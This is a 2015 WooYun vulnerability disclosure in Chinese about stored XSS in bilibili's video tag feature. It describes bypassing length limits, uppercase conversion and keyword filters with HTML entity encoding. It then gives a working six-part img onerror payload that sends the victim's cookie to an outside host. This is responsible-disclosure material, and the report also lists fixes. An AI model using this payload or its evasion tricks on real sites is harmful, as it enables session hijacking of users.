当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0146855

漏洞标题:bilibili主站存在存储型XSS漏洞(艰辛的绕过过程/成功传cookie至域外)

相关厂商:bilibili.com

漏洞作者: 端端

提交时间:2015-10-15 11:11

修复时间:2015-12-03 17:20

公开时间:2015-12-03 17:20

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-15: 细节已通知厂商并且等待厂商处理中
2015-10-19: 厂商已经确认,细节仅向厂商公开
2015-10-29: 细节向核心白帽子及相关领域专家公开
2015-11-08: 细节向普通白帽子公开
2015-11-18: 细节向实习白帽子公开
2015-12-03: 细节向公众公开

简要描述:

bilibili主站存在存储型XSS漏洞(艰辛的绕过过程)
问题其实有点鸡肋,包括有部分关键字过滤、长度的限制以及被强制转换为大写字母等,但终究还是把cookie传到了域外

详细说明:

出现问题的地方是视频下方的标签
任何一个视频最多可以有10个标签显示,且标签开放编辑

捕获1.PNG


测试时发现没有进行转义直接按照html输出到了页面导致标签被浏览器解释

捕获2.PNG


添加标签发现超过20个字符会有提示

捕获3.PNG


但并没有请求发出,所以是前端的限制,直接调用接口(http://www.bilibili.com/api_proxy?app=tag&action=/tags/archive_add)测试确认后端限制60个字符
并且会将所有小写字母替换为大写字母
接口本身虽然也做了一些过滤(比如"<script"之类的)但并不全面

捕获4.PNG


通过测试发现

<img src=""onerror =SOME_JS_CODE>

是有效的(onerror和=之间必须有空格否则接口会403错误)
由于javascript是大小写敏感的,所以直接写入含有小写字母的代码是不可以的
测试发现通过HTML编码可以绕过这一问题

<img src=""onerror =alert(0)>


变为

<img src=""onerror =&#97&#108&#101&#114&#116(0)>

(非小写字母没必要编码,节省空间)

捕获5.PNG


但就算这样很明显要想把cookie顺利传到站外,仅仅60个字符是不够的
但不要忘记,我们最多可以添加10个标签,那么在这10个标签中是否可以做到呢
答案是可以的(这不废话吗(-__-)b)
分别执行以下脚本(这里字符串拆分是因为编码后太长了,奇怪的写法都是为了缩短单个标签里的长度)

A='ocumen'
B='t';F=Image
eval('C=d'+A+B)
D=C.cookie
E=new F()
E.src='//WOOYUN.ORG/?'+D


构造标签内容如下,直接使用接口按顺序添加至视频标签

<img src=""onerror =A='&#111&#99&#117&#109&#101&#110'>
<img src=""onerror =B='&#116';F=I&#109&#97&#103&#101>
<img src=""onerror =&#101&#118&#97&#108('C=&#100'+A+B)>
<img src=""onerror =D=C.&#99&#111&#111&#107&#105&#101>
<img src=""onerror ="E=&#110&#101&#119 F()">
<img src=""onerror =E.&#115&#114&#99='//WOOYUN.ORG/?'+D>


像这样添加

捕获6.PNG


6个都添加完后(那个点赞的小手颜色有点浅,我觉得在有些显示器上看不太清,就知道红圈里有6个点赞的小手就好了(-__-)b)

捕获7.PNG

漏洞证明:

测试地址
顺便提一句,我只是随便找了一个视频……那个视频不是我传的。

http://www.bilibili.com/video/av2546682/


我不知道审核之前会不会被发现,还没被发现的话可以看下效果
会产生一个目标至wooyun.org的请求,其中GET参数是当前在bilibili的cookie
我测试时的截图如下(测试过程均在登录另外的账号下进行,以避免未知的可能存在的影响因素)

捕获8.PNG


视频标签处的惨状

捕获9.PNG


IE11下测试

捕获10.PNG


修复方案:

1、输出时转义
2、输入时过滤

版权声明:转载请注明来源 端端@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-10-19 17:19

厂商回复:

~

最新状态:

暂无